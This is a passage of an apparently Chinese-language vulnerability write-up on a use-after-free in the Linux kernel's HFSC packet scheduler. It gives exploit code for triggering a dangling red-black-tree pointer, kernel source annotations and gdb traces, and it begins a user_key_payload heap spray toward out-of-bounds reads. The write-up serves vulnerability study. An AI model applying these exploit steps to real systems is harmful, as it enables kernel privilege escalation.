  • (2)代码流Flow1总是位于Flow2之前,所以,先调用init_ed()将A插入到红黑树;然后是代码流Flow2,调用update_ed()来修改A,先将A从红黑树中移除,然后再次插入到树中。???代码流程,为什么先移除再插入 ------ 应该是更新了其属性值,再次插入rb_tree中会进行调整。

  • (3)利用逻辑漏洞使Flow2发生在Flow1之前,也就是说,update_ed()init_ed()之前被调用,最终触发代码流eltree_remove() -> eltree_insert() -> eltree_insert(),触发代码参见exp中prepare_uaf()

  • 第一次调用eltree_insert():(A == cl)

    c 复制代码
    A->el_node->__rb_parent_color == (0 | RB_BLACK);
    A->el_node->rb_right == NULL;
    A->el_node->rb_left == NULL;
    cl->sched->eligible.rb_node == &(A->el_node);
  • 第二次调用eltree_insert()

    c 复制代码
    A->el_node->__rb_parent_color == &(A->el_node);
    A->el_node->rb_right == NULL;
    A->el_node->rb_left == &(A->el_node);
    cl->sched->eligible.rb_node == &(A->el_node);
  • 现在,删除A后,sched->eligible.rb_node仍保留着悬垂指针,漏洞对象是hfsc_class - kmalloc-1024,可通过父Qdisc访问到(Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向hfsc_class中的UAF_rb_node / class_A->el_node ),实现代码参见exp中trigger_uaf()

3-2. prepare_uaf()

该函数有7个参数:

c 复制代码
1. struct mnl_socket *route_socket : basically a netlink route socket.
2. int packet_socket : a packet socket created by `socket(AF_PACKET, SOCK_RAW, 0)`.
3. int ifindex : a dummy network interface index. This network interface must have mtu < IPV6_MIN_MTU
4. u32 qdisc_A_handle : handle for qdisc_A creation.
5. u32 qdisc_B_handle : handle for qdisc_B creation.
6. u32 qdisc_C_handle : handle for qdisc_C creation.
7. u32 classid_A : classid for an `hfsc_class` object.

(1)步骤1:创建 Qdisc_A [exploit.c#L979]

c 复制代码
struct tc_hfsc_qopt hfsc_qopt_A = { .defcls = 0 };
create_hfsc_qdisc(route_socket, ifindex, TC_H_ROOT, qdisc_A_handle, &hfsc_qopt_A);

struct tc_hfsc_qopt {
	__u16	defcls;		/* default class */
};
  • 第1步之后,有如下:
    • Qdisc_A (root qdisc / handle: qdisc_A_handle / type: hfsc);
    • A root class (classid: qdisc_A_handle, type: hfsc_class);在创建hfsc qdisc的过程中,会调用hfsc_init_qdisc() 函数来自动创建该class;
    • 由于我们将 defcls 设置为0,可配置qdisc将packet路由到root class所链接的qdisc。

(2)步骤2:创建Qdisc_C [exploit.c#L989]

c 复制代码
struct tc_fifo_qopt pfifo_head_drop_qopt_C = { .limit = 0 };
create_pfifo_head_drop_qdisc(
	route_socket,
	ifindex,
	qdisc_A_handle,
	qdisc_C_handle,
	&pfifo_head_drop_qopt_C
);

struct tc_fifo_qopt {
	__u32	limit;	/* Queue length: bytes for bfifo, packets for pfifo */
};
  • 第2步之后,有如下:
    • Qdisc_C (parent: Qdisc_A / handle: qdisc_C_handle / type: pfifo_head_drop);
    • Qdisc_C 设置为 sch->limit == 0
    • Qdisc_C 链接到 Qdisc_A 的 root class,由内核函数 hfsc_graft_class() 实现。

(3)步骤3:触发packet enqueue [exploit.c#L983]

c 复制代码
trigger_qdisc_enqueue(packet_socket, ifindex);
  • 第3步的packet flow:hfsc_enqueue(Qdisc_A) -> pfifo_tail_enqueue(Qdisc_C)
  • 第3步之后,有如下:
    • Qdisc_A->q.qlen == 0
    • Qdisc_C->q.qlen == 1

(4)步骤4:删除Qdisc_C [exploit.c#L990]

c 复制代码
delete_qdisc(route_socket, ifindex, qdisc_A_handle, qdisc_C_handle);
  • 第4步之后,有如下:

    • Qdisc_A->q.qlen == -1
    • 现在Qdisc_A队列中没有 packet
  • 代码过程hfsc_graft_class() -> qdisc_create_dflt() & qdisc_replace(),删除传入handle对应的Qdisc,新建一个类型为 "pfifo" 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的 ->q.qlen 减去待删除的Qdisc->q.qlen

(5)步骤5:创建 class_A 对象 [exploit.c#L992]

c 复制代码
struct tc_service_curve rsc_A = { .m1 = 1 };
create_hfsc_class(route_socket, ifindex, qdisc_A_handle, classid_A, &rsc_A, NULL, NULL);

struct tc_service_curve {
	__u32	m1;		/* slope of the first segment in bps */
	__u32	d;		/* x-projection of the first segment in us */
	__u32	m2;		/* slope of the second segment in bps */
};
  • 第5步之后,有如下:
    • class_A 对象 (classid: classid_A / type: hfsc_class / flags: HFSC_RSC)

(6)步骤6:创建Qdisc_B [exploit.c#L994]

c 复制代码
struct tc_hfsc_qopt hfsc_qopt_B = { .defcls = 0 };
create_hfsc_qdisc(route_socket, ifindex, classid_A, qdisc_B_handle, &hfsc_qopt_B);
  • 第6步之后,有如下:
    • Qdisc_B (parent: Qdisc_A, handle: qdisc_B_handle, type: hfsc) ??? 不是 Qdisc_A,而是 class_A
    • 和第1步一样,Qdisc_B有自己的root class
    • defcls设置为0,会导致Qdisc_B 将入队的packet路由到其root class所链接的qdisc
    • Qdisc_B 链接到 class_A 对象 (classid: classid_A)

(7)步骤7:创建 Qdisc_C [exploit.c#L995]

c 复制代码
create_pfifo_head_drop_qdisc(
	route_socket,
	ifindex,
	qdisc_B_handle,
	qdisc_C_handle,
	&pfifo_head_drop_qopt_C
);
  • 第7步之后,有如下:
    • Qdisc_C (parent: Qdisc_B / handle: qdisc_C_handle / type: pfifo_head_drop)
    • Qdisc_C 设置为sch->limit == 0
    • Qdisc_C 链接到 Qdisc_B 的 root class

(8)步骤8:修改Qdisc_A route [exploit.c#L1003]

c 复制代码
change_hfsc_qdisc_route(route_socket, ifindex, TC_H_ROOT, qdisc_A_handle, classid_A);

void change_hfsc_qdisc_route(
	struct mnl_socket *route_socket,
	int ifindex,
	u32 tcm_parent,
	u32 tcm_handle,
	u32 route_to_classid
)
{
	struct tc_hfsc_qopt hfsc_qopt = { .defcls = route_to_classid };
	change_hfsc_qdisc(route_socket, ifindex, tcm_parent, tcm_handle, &hfsc_qopt);
}
  • 第8步之后,有如下:
    • 修改Qdisc_A route,将入队的packet路由到class_A对象链接的qdisc。(将Qdisc_A的defcls设置为class_A,会导致Qdisc_A 将入队的packet路由到class_A所链接的qdisc;如果defcls设置为0,则将入队的packet路由到其root class所链接的qdisc)

(9)步骤9:触发packet入队 [exploit.c#L1004]

c 复制代码
trigger_qdisc_enqueue(packet_socket, ifindex);
  • 第9步的 packet flow:hfsc_enqueue(Qdisc_A) -> hfsc_enqueue(Qdisc_B) -> pfifo_tail_enqueue(Qdisc_C)
  • 第9步之后,有如下:Qdisc_C加1, QdiscA/Qdisc_B 不变。
    • Qdisc_A->q.qlen == -1
    • Qdisc_B->q.qlen == 0
    • Qdisc_C->q.qlen == 1

(10)步骤10:删除Qdisc_C [exploit.c#L1005]

c 复制代码
delete_qdisc(route_socket, ifindex, qdisc_B_handle, qdisc_C_handle);
  • 第10步之后,有如下:删除Qdisc_C之后,会将父Qdisc_A / Qdisc_B 的qlen减去待删除Qdisc_C的qlen。(参见(4)删除Qdisc_C)
    • Qdisc_A->q.qlen == -2
    • Qdisc_B->q.qlen == -1

(11)步骤11:创建正常Qdisc_C [exploit.c#L1007]

c 复制代码
pfifo_head_drop_qopt_C.limit = 0xFFFFFFFF;
create_pfifo_head_drop_qdisc(
	route_socket,
	ifindex,
	qdisc_B_handle,
	qdisc_C_handle,
	&pfifo_head_drop_qopt_C
);
  • 第11步之后,有如下:
    • Qdisc_C (parent: Qdisc_B / handle: qdisc_C_handle / type: pfifo_head_drop)
    • Qdisc_C 设置为 sch->limit == 0xFFFFFFFF

(12)步骤12:触发Flow2 [exploit.c#L1015]

c 复制代码
change_hfsc_class(route_socket, ifindex, qdisc_A_handle, classid_A, &rsc_A, NULL, NULL);

// `hfsc_change_class()` - 内核函数
static int hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
		  struct nlattr **tca, unsigned long *arg,
		  struct netlink_ext_ack *extack)
{
	struct hfsc_sched *q = qdisc_priv(sch);
	struct hfsc_class *cl = (struct hfsc_class *)*arg; 		// cl - class_A
	...

	if (cl != NULL) {
		...
		sch_tree_lock(sch);
		old_flags = cl->cl_flags;

		if (rsc != NULL)
			hfsc_change_rsc(cl, rsc, cur_time);
		...
		if (cl->qdisc->q.qlen != 0) { 						// cl->qdisc == Qdisc_B / qlen == -1,可进入本分支。前面的步骤都是为了构造Qdisc_B->q.qlen == -1 ?????
			int len = qdisc_peek_len(cl->qdisc);

			if (cl->cl_flags & HFSC_RSC) {
				if (old_flags & HFSC_RSC)
					update_ed(cl, len); 					// <--- update_ed()
				else
					init_ed(cl, len);
			}
		}
		sch_tree_unlock(sch);

		return 0;
	}
	/* Writeup note: Deleted code for clarity */
}
  • cl 就是 class_A,第5步创建的;
  • cl->qdisc 就是 Qdisc_B
  • 重点!!!!!Qdisc_B->q.qlen == -1 => cl->qdisc->q.qlen != 0;这样才能触发Flow2,调用 update_ed()。若等于0则不存在packet,不能update。
  • 执行到update_ed()(按Flow2继续执行 - hfsc_change_class() -> update_ed() -> eltree_update() -> eltree_remove() & eltree_insert() )。

(13)步骤13:触发Flow1 [exploit.c#L1016]

c 复制代码
trigger_qdisc_enqueue(packet_socket, ifindex);
trigger_qdisc_enqueue(packet_socket, ifindex);

第1次packet入队

  • 由于已设置sch->limit == 0xFFFFFFFF,packet入队过程会返回成功(NET_XMIT_SUCCESS);

  • 第1次调用trigger_qdisc_enqueue()时的packet flow:hfsc_enqueue(Qdisc_A) -> hfsc_enqueue(Qdisc_B) -> pfifo_tail_enqueue(Qdisc_C)

  • 第1次调用trigger_qdisc_enqueue()后,有如下:

    • Qdisc_A->q.qlen == -1
    • Qdisc_B->q.qlen == 0
    • Qdisc_C->q.qlen == 1
  • 由于->enqueue()返回NET_XMIT_SUCCESS,就会调用->dequeue()

  • packet出队 (调用完入队后,会跟着调用出队,见__dev_xmit_skb() -> dev_qdisc_enqueue() 入队 & __qdisc_run() 出队):由于Qdisc_B->q.qlen == 0,当出队流为 hfsc_dequeue(Qdisc_A) -> hfsc_dequeue(Qdisc_B) 时,出队流会停止(不会继续调用Qdisc_C->dequeue - qdisc_dequeue_head()函数,从hfsc_dequeue(Qdisc_B)就返回NULL),这样就可以保持预期的 rb_tree 结构;

    c 复制代码
    /*
    调用序列:
    - `__sock_sendmsg()` -> `sock_sendmsg_nosec()` -> `sock->ops->sendmsg` - `packet_sendmsg()` -> `packet_snd()` -> `packet_xmit()` -> `dev_queue_xmit()` -> `__dev_queue_xmit()` -> `__dev_xmit_skb()` (这里和入队enqueue都相同,都是发包触发)
    - -> `__qdisc_run()` -> `qdisc_restart()` -> `dequeue_skb()` -> `hfsc_dequeue()`
    */
    static struct sk_buff *
    hfsc_dequeue(struct Qdisc *sch)
    {
    	struct hfsc_sched *q = qdisc_priv(sch);
    	struct hfsc_class *cl;
    	struct sk_buff *skb;
    	u64 cur_time;
    	unsigned int next_len;
    	int realtime = 0;
    
    	if (sch->q.qlen == 0) 		// qlen 为0,则直接返回NULL
    		return NULL;
    
    	cur_time = psched_get_time();
    
    	cl = eltree_get_mindl(q, cur_time); 	// 在所有 eligible class 中选取 deadline 最小的 class
    	...
    
    	skb = qdisc_dequeue_peeked(cl->qdisc); 	// qdisc_dequeue_peeked() -> Qdisc_B->dequeue() - hfsc_dequeue() - 由于 sch->q.qlen == 0, 所以直接返回NULL
    	if (skb == NULL) {
    		qdisc_warn_nonwc("HFSC", cl->qdisc);
    		return NULL;
    	}
    	...
    	qdisc_bstats_update(sch, skb);
    	qdisc_qstats_backlog_dec(sch, skb);
    	sch->q.qlen--;
    
    	return skb;
    }

第2次packet入队

  • 第2次调用trigger_qdisc_enqueue(),会触发Flow1;

  • 第2次调用trigger_qdisc_enqueue() 时的 packet flow:hfsc_enqueue(Qdisc_A) -> hfsc_enqueue(Qdisc_B) -> pfifo_tail_enqueue(Qdisc_C)

  • 看看 hfsc_enqueue() 内核函数:

    c 复制代码
    static int
    hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
    {
    	unsigned int len = qdisc_pkt_len(skb);
    	struct hfsc_class *cl;
    	int err;
    	bool first;
    
    	cl = hfsc_classify(skb, sch, &err); 		// cl = class_A
    	...
    
    	first = !cl->qdisc->q.qlen; 				// cl->qdisc = Qdisc_B / qlen == 0  =>  first = true
    	err = qdisc_enqueue(skb, cl->qdisc, to_free);
    	...
    
    	if (first) {
    		if (cl->cl_flags & HFSC_RSC)
    			init_ed(cl, len); 					// 满足条件 <--- init_ed()
    		...
    	}
    
    	sch->qstats.backlog += len;
    	sch->q.qlen++;
    
    	return NET_XMIT_SUCCESS;
    }
    
    static inline int qdisc_enqueue(struct sk_buff *skb, struct Qdisc *sch,
    				struct sk_buff **to_free)
    {
    	return sch->enqueue(skb, sch, to_free);
    }
  • 当调用hfsc_enqueue(Qdisc_A)时,cl 表示 class_A 对象,cl->qdisc表示Qdisc_B

  • Qdisc_B->q.qlen == 0 => first == true

  • 执行到 init_ed()(Flow1思路);

  • 这一步之后每个Qdisc的qlen值:

    • Qdisc_A->q.qlen == 0
    • Qdisc_B->q.qlen == 1
    • Qdisc_C->q.qlen == 2
  • 由于Qdisc_A->q.qlen == 0,这样执行到hfsc_dequeue(Qdisc_A)就提前返回NULL(不会继续调用hfsc_dequeue(Qdisc_B)Qdisc_C->dequeue()),并保持rb_tree结构受控。

调试与代码分析

断点设置

  • 快速断到第(12)步,在 hfsc_change_class() 下断,第2次停下就到了第12步(第1次是在(5)创建hfsc_class A)。
  • 第(13)步断点 hfsc_enqueue() & hfsc_dequeue()

第1次调用eltree_insert()

c 复制代码
#define	RB_RED		0
#define	RB_BLACK	1

A->el_node->__rb_parent_color == (0 | RB_BLACK); 	// A == cl
A->el_node->rb_right == NULL;
A->el_node->rb_left == NULL;
cl->sched->eligible.rb_node == &(A->el_node);

// 调试
gef> p cl
$27 = (struct hfsc_class *) 0xffff888104e55400
gef> p cl->el_node->__rb_parent_color
$30 = 0x1
gef> p cl->el_node->rb_right
$31 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->el_node->rb_left
$32 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->sched->eligible.rb_node
$33 = (struct rb_node *) 0xffff888104e554a0 		// 其实就指向 cl->el_node
    
// hfsc_class
struct hfsc_class {
    ...
    struct rb_node {
		long unsigned int  __rb_parent_color;                                    /*  0xa0   0x8 */
		struct rb_node *   rb_right;                                             /*  0xa8   0x8 */
		struct rb_node *   rb_left;                                              /*  0xb0   0x8 */
	} __attribute__((__aligned__(8)))el_node __attribute__((__aligned__(8))); /*  0xa0  0x18 */
    ...
}

第2次调用eltree_insert()

c 复制代码
A->el_node->__rb_parent_color == &(A->el_node); 	// A == cl
A->el_node->rb_right == NULL;
A->el_node->rb_left == &(A->el_node);
cl->sched->eligible.rb_node == &(A->el_node);

// 调试
gef> p cl
$34 = (struct hfsc_class *) 0xffff888104e55400
gef> p cl->el_node->__rb_parent_color
$36 = 0xffff888104e554a0
gef> p cl->el_node->rb_right
$37 = (struct rb_node *) 0x0 <fixed_percpu_data>
gef> p cl->el_node->rb_left
$38 = (struct rb_node *) 0xffff888104e554a0 	// cl->el_node
gef> p cl->sched->eligible.rb_node
$39 = (struct rb_node *) 0xffff888104e554a0
  • 现在,删除A后,sched->eligible.rb_node仍保留着悬垂指针,实现代码参见exp中trigger_uaf()

第2次调用eltree_insert()代码分析

c 复制代码
static void
eltree_insert(struct hfsc_class *cl)
{
	struct rb_node **p = &cl->sched->eligible.rb_node; 	// p = &(A->el_node)
	struct rb_node *parent = NULL;
	struct hfsc_class *cl1;

	while (*p != NULL) {
		parent = *p; 									// parent = &(A->el_node)
		cl1 = rb_entry(parent, struct hfsc_class, el_node);
		if (cl->cl_e >= cl1->cl_e)
			p = &parent->rb_right; 						// p = cl->el_node->rb_right = NULL
		else
			p = &parent->rb_left;
	}
	rb_link_node(&cl->el_node, parent, p); 	// cl->el_node->__rb_parent_color = parent = &(A->el_node);   cl->el_node->rb_left = cl->el_node->rb_right = NULL
	rb_insert_color(&cl->el_node, &cl->sched->eligible); 	// tools/lib/rbtree.c
}

3-3. trigger_uaf()

[exploit.c#L1020]

c 复制代码
static inline void trigger_uaf(struct mnl_socket *route_socket, int ifindex, u32 hfsc_classid)
{
	delete_tclass(route_socket, ifindex, TC_H_MAJ(hfsc_classid), hfsc_classid);	
}

要想触发UAF,只需要删除class_A对象即可。trgger_uaf()执行过后,Qdisc_A->q.qlen == -1

此时,sched->eligible.rb_node仍保留着悬垂指针,漏洞对象是hfsc_class - kmalloc-1024,可通过父Qdisc访问到(Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向hfsc_class中的UAF_rb_node / class_A->el_node

调试与代码分析

操作标志:RTM_DELTCLASS

调用链 :根据 nlmsg_type - RTM_NEWTCLASS 找到 tc_ctl_tclass()

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg() ------ 前面和分配Qdisc调用链一样
  • link->doit - tc_ctl_tclass() -> tclass_del_notify() -> cops->delete - hfsc_delete_class()

断点设置tc_ctl_tclass()

c 复制代码
static int tclass_del_notify(struct net *net,
			     const struct Qdisc_class_ops *cops,
			     struct sk_buff *oskb, struct nlmsghdr *n,
			     struct Qdisc *q, unsigned long cl,
			     struct netlink_ext_ack *extack)
{ 	// cops - hfsc_class_ops // q - Qdisc_A  // cl - class_A
	u32 portid = oskb ? NETLINK_CB(oskb).portid : 0;
	struct sk_buff *skb;
	int err = 0;

	if (!cops->delete)
		return -EOPNOTSUPP;

	skb = alloc_skb(NLMSG_GOODSIZE, GFP_KERNEL);
	if (!skb)
		return -ENOBUFS;

	if (tc_fill_tclass(skb, q, cl, portid, n->nlmsg_seq, 0,
			   RTM_DELTCLASS, extack) < 0) {
		kfree_skb(skb);
		return -EINVAL;
	}

	err = cops->delete(q, cl, extack); 	// <--- hfsc_delete_class() 删除class_A
	if (err) {
		kfree_skb(skb);
		return err;
	}

	err = rtnetlink_send(skb, net, portid, RTNLGRP_TC, 	// 再次发包
			     n->nlmsg_flags & NLM_F_ECHO);
	return err;
}
// 删除 class_A 之后调试发现:el_node结构不变,`sched->eligible.rb_node`仍保留着悬垂指针
gef> p *(struct hfsc_class *) 0xffff888104e55400
    ...
  el_node = {
    __rb_parent_color = 0xffff888104e554a0,
    rb_right = 0x0 <fixed_percpu_data>,
    rb_left = 0xffff888104e554a0
  }
gef> p (*(struct hfsc_class *) 0xffff888104e55400)->sched->eligible.rb_node
$73 = (struct rb_node *) 0xffff888104e554a0 		// cl->sched->eligible.rb_node

3-4. 拓展-红黑树原理

红黑树特点 :代码使用示例参见eltree_insert()

  • 时间复杂度:查找、插入、删除均为 O(log n)

  • 空间开销:每个节点只需3个指针(父指针与颜色共用存储)

  • 平衡性:最坏情况下,最长路径不超过最短路径的2倍

(1)核心规则
  1. 每个节点要么是红色,要么是黑色
  2. 根节点是黑色
  3. 所有叶子节点(NIL节点)都是黑色
  4. 红色节点的两个子节点都是黑色(不能有连续的红色节点)
  5. 从任一节点到其每个叶子的所有路径包含相同数量的黑色节点
(2)数据结构
c 复制代码
struct rb_node {
    unsigned long  __rb_parent_color;  // 巧妙设计:同时存储父指针和颜色     __rb_parent_color使用最低位存储节点颜色(0=黑,1=红)
    struct rb_node *rb_right;
    struct rb_node *rb_left;
};

struct rb_root { 		// 根节点   hfsc_class->sched->eligible.rb_node 就是根节点,所有class存储同一个根节点,hfsc_class->el_node 就是当前节点 
    struct rb_node *rb_node;
};
(3)核心操作原理

插入操作void rb_insert_color(struct rb_node *node, struct rb_root *root)

  • 按照二叉搜索树规则插入新节点(初始为红色)
  • 重新平衡(fixup):
    • 情况1:插入节点是根 → 染黑
    • 情况2:父节点是黑 → 直接完成
    • 情况3:父节点和叔叔节点都是红 → 父叔染黑,祖父染红,继续向上处理
    • 情况4/5:父节点红,叔叔节点黑 → 通过旋转+染色恢复平衡
c 复制代码
static __always_inline void
__rb_insert(struct rb_node *node, struct rb_root *root,
	    void (*augment_rotate)(struct rb_node *old, struct rb_node *new))
{
	struct rb_node *parent = rb_red_parent(node), *gparent, *tmp; 	// parent 父节点

	while (true) {
		/*
		 * Loop invariant: node is red.
		 */
		if (unlikely(!parent)) { 					// [1] 插入节点是根 → 染黑
			rb_set_parent_color(node, NULL, RB_BLACK);
			break;
		}

		if(rb_is_black(parent)) 					// [2] 父节点是黑 → 直接完成
			break;

		gparent = rb_red_parent(parent); 	// gparent = (struct rb_node *)parent->__rb_parent_color 祖父节点

		tmp = gparent->rb_right; 			// tmp - 叔叔节点 or 父节点
		if (parent != tmp) {				// left - 父节点 / right - 叔叔节点tmp
			if (tmp && rb_is_red(tmp)) { 			// [3] 父红 叔叔红  → 父叔染黑,祖父染红,继续向上处理
				/*
				 * Case 1 - node's uncle is red (color flips).
				 *
				 *       G            g
				 *      / \          / \
				 *     p   u  -->   P   U
				 *    /            /
				 *   n            n
				 *
				 * However, since g's parent might be red, and
				 * 4) does not allow this, we need to recurse
				 * at g.
				 */
				rb_set_parent_color(tmp, gparent, RB_BLACK);
				rb_set_parent_color(parent, gparent, RB_BLACK);
				node = gparent;
				parent = rb_parent(node);
				rb_set_parent_color(node, parent, RB_RED);
				continue;
			}

			tmp = parent->rb_right; 				// [4-1] 父红 叔叔黑,自己是右儿子 → 通过旋转+染色恢复平衡
			if (node == tmp) {
				/*
				 * Case 2 - node's uncle is black and node is
				 * the parent's right child (left rotate at parent).
				 *
				 *      G             G
				 *     / \           / \
				 *    p   U  -->    n   U
				 *     \           /
				 *      n         p
				 *
				 * This still leaves us in violation of 4), the
				 * continuation into Case 3 will fix that.
				 */
				tmp = node->rb_left;
				WRITE_ONCE(parent->rb_right, tmp);
				WRITE_ONCE(node->rb_left, parent);
				if (tmp)
					rb_set_parent_color(tmp, parent,
							    RB_BLACK);
				rb_set_parent_color(parent, node, RB_RED);
				augment_rotate(parent, node);
				parent = node;
				tmp = node->rb_right;
			}
												// [4-2] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
			/*
			 * Case 3 - node's uncle is black and node is
			 * the parent's left child (right rotate at gparent).
			 *
			 *        G           P
			 *       / \         / \
			 *      p   U  -->  n   g
			 *     /                 \
			 *    n                   U
			 */
			WRITE_ONCE(gparent->rb_left, tmp); /* == parent->rb_right */
			WRITE_ONCE(parent->rb_right, gparent);
			if (tmp)
				rb_set_parent_color(tmp, gparent, RB_BLACK);
			__rb_rotate_set_parents(gparent, parent, root, RB_RED);
			augment_rotate(gparent, parent);
			break;
		} else { 						// right - 父节点 / left - 叔叔节点tmp
			tmp = gparent->rb_left;
			if (tmp && rb_is_red(tmp)) {		// [5] 父红 叔叔红  → 父叔染黑,祖父染红,继续向上处理
				/* Case 1 - color flips */
				rb_set_parent_color(tmp, gparent, RB_BLACK);
				rb_set_parent_color(parent, gparent, RB_BLACK);
				node = gparent;
				parent = rb_parent(node);
				rb_set_parent_color(node, parent, RB_RED);
				continue;
			}

			tmp = parent->rb_left; 				// [6-1] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
			if (node == tmp) {
				/* Case 2 - right rotate at parent */
				tmp = node->rb_right;
				WRITE_ONCE(parent->rb_left, tmp);
				WRITE_ONCE(node->rb_right, parent);
				if (tmp)
					rb_set_parent_color(tmp, parent,
							    RB_BLACK);
				rb_set_parent_color(parent, node, RB_RED);
				augment_rotate(parent, node);
				parent = node;
				tmp = node->rb_left;
			}
 												// [6-2] 父红 叔叔黑,自己是左儿子 → 通过旋转+染色恢复平衡
			/* Case 3 - left rotate at gparent */
			WRITE_ONCE(gparent->rb_right, tmp); /* == parent->rb_left */
			WRITE_ONCE(parent->rb_left, gparent);
			if (tmp)
				rb_set_parent_color(tmp, gparent, RB_BLACK);
			__rb_rotate_set_parents(gparent, parent, root, RB_RED);
			augment_rotate(gparent, parent);
			break;
		}
	}
}

删除操作void rb_erase(struct rb_node *node, struct rb_root *root)

  • 实际删除节点(可能有替代节点)
  • 如果删除的是黑色节点,需要重新平衡:
    • 情况1:兄弟节点是红 → 旋转+染色转为其他情况
    • 情况2:兄弟节点黑,且兄弟的两个子节点都黑 → 兄弟染红,向上处理
    • 情况3:兄弟节点黑,兄弟左子红/右子黑 → 旋转调整
    • 情况4:兄弟节点黑,兄弟右子红 → 旋转+染色完成平衡

左旋转static void __rb_rotate_left(struct rb_node *node, struct rb_root *root)

  • 将节点的右子节点提升为新的父节点,原节点成为左子节点

右旋转static void __rb_rotate_right(struct rb_node *node, struct rb_root *root)

  • 将节点的左子节点提升为新的父节点,原节点成为右子节点
(4)实用宏和辅助函数
c 复制代码
// 获取/设置颜色
#define rb_color(r)   ((r)->__rb_parent_color & 1)
#define rb_is_red(r)   (!rb_color(r))
#define rb_is_black(r) rb_color(r)

// 获取父节点
#define rb_parent(r) ((struct rb_node *)((r)->__rb_parent_color & ~3))

// 遍历宏
#define rb_first(root)  // 获取最小节点
#define rb_last(root)   // 获取最大节点
#define rb_next(node)   // 获取后继节点
#define rb_prev(node)   // 获取前驱节点
(5)net-sched节点更新代码

net-sched模块中负责更新节点的函数(进行节点插入操作)init_ed() -> eltree_insert() -> rb_link_node() -> rb_insert_color() -> __rb_insert() 其中有两条路径会更新节点,将class自身插入到全局红黑树中。分别是在首次进行packet入队操作,或者修改class属性且packet队列长度不为0时。

  • hfsc_enqueue() -> init_ed() ------ 条件:hfsc_class->qdisc->q.qlen == 0。上一步packet入队会触发错误,提前返回,所以不会执行init_ed(),导致hfsc_class->qdisc->q.qlen == 0
  • hfsc_change_class() -> init_ed() ------ 条件:hfsc_class->qdisc->q.qlen != 0;且原先hfsc_class为RSC,需修改为FSC才会触发init_ed()

结构说明hfsc_class->sched->eligible 表示 rb_root 根节点(全局红黑树),所有class都存储同一个根节点,hfsc_class->el_node 表示当前节点。

4. 构造heap read

构造heap read需用到5个函数:

  • heap_read_primitive_init()
  • heap_read_primitive_setup_network_interfaces()
  • heap_read_primitive_build_primitive()
  • heap_read_primitive_trigger()
  • heap_read_primitive_reset()

4-1. 初始化

heap_read_primitive_init() - [exploit.c#L1025]

主要操作如下:

  • 创建 NETLINK_ROUTE socket; ------ 用于设置sched策略
  • 创建 raw packet socket; ------ 用于发包触发packet入队出队
  • 准备 3 个 qdisc handle 和 4 个 classid
  • 准备分配 struct user_key_payload 对象的参数

4-2. 设置网口

heap_read_primitive_setup_network_interfaces() - [exploit.c#L1077]

主要操作如下:

  • (1)创建一个dummy 假的网络接口,设置mtu == IPV6_MIN_MTU - 1,以避免内核调用ipv6_add_dev()。原因如下:???
    • ipv6_add_dev() -> timer_setup(&ndev->rs_timer, addrconf_rs_timer, 0)
    • addrconf_rs_timer() -> ndisc_send_rs() -> ndisc_send_skb()
    • ndisc_send_skb() 会导致packet被发送到网络接口并触发 sch->enqueue(),这会使调度器构造过程混乱,影响漏洞触发。
  • (2)设置dummy假网口的状态为开启。

4-3. 构造heap read

思路 :利用class->el_node的node插入机制来篡改user_key_payload->datalen,以构造越界读写。

heap_read_primitive_build_primitive() - [exploit.c#L1089]

(1)触发UAF

[exploit.c#L1095]

c 复制代码
prepare_uaf(
	heap_read_primitive->route_socket,
	heap_read_primitive->raw_packet_socket,
	heap_read_primitive->rb_tree_interface_ifindex,
	heap_read_primitive->rb_tree_interface_qdisc_A_handle,
	heap_read_primitive->rb_tree_interface_qdisc_B_handle,
	heap_read_primitive->rb_tree_interface_qdisc_C_handle,
	heap_read_primitive->rb_tree_interface_classid_A
);

trigger_uaf(
	heap_read_primitive->route_socket,
	heap_read_primitive->rb_tree_interface_ifindex,
	heap_read_primitive->rb_tree_interface_classid_A
);

内核函数eltree_insert()

c 复制代码
static void
eltree_insert(struct hfsc_class *cl)
{
	struct rb_node **p = &cl->sched->eligible.rb_node; 	// dangling pointer -> struct rb_node (hfsc_class->el_node) 		UAF对象 - hfsc_class
	struct rb_node *parent = NULL;
	struct hfsc_class *cl1;

	while (*p != NULL) {
		parent = *p;
		cl1 = rb_entry(parent, struct hfsc_class, el_node);
		if (cl->cl_e >= cl1->cl_e)
			p = &parent->rb_right; 				// 利用时一直选取 rb_right
		else
			p = &parent->rb_left;
	}
	rb_link_node(&cl->el_node, parent, p);
	rb_insert_color(&cl->el_node, &cl->sched->eligible);
}
  • 悬垂指针 :是cl->sched->eligible.rb_node,其type为struct rb_node;指向struct hfsc_class对象的el_node成员;
  • 标记
    • 标记struct rb_node对象为 UAF_rb_node; 属于漏洞对象struct hfsc_class的成员。
    • 漏洞对象 :标记struct hfsc_class对象为 UAF_hfsc_class - class_Astruct hfsc_class对象位于kmalloc-1024;
    • 将包含UAF指针的Qdisc标记为 Victim_Qdisc - Qdisc_A;------ Qdisc_A->privdata 指向hfsc_sched对象,Qdisc_A->privdata->eligible.rb_node即为悬垂指针,指向UAF_rb_node / class_A->el_node
  • 注意->cl_e成员将决定访问哪一个指针,->rb_right->rb_left;后续步骤中,每次触发eltree_insert(),我们总是选取->rb_right
(2)堆喷user_key_payload占位UAF_hfsc_class

[exploit.c#L1111]

c 复制代码
fake_rb_node = (struct rb_node *)
	(	
		user_key_payload_write_buffer + \
		struct_hfsc_class_member_el_node_offset - \
		sizeof(struct user_key_payload)
	);

fake_rb_node->__rb_parent_color = 0 | RB_BLACK;
fake_rb_node->rb_right = (struct rb_node *)(0);
fake_rb_node->rb_left = (struct rb_node *)(0);

heap_read_primitive->key_A = user_key_payload_alloc(
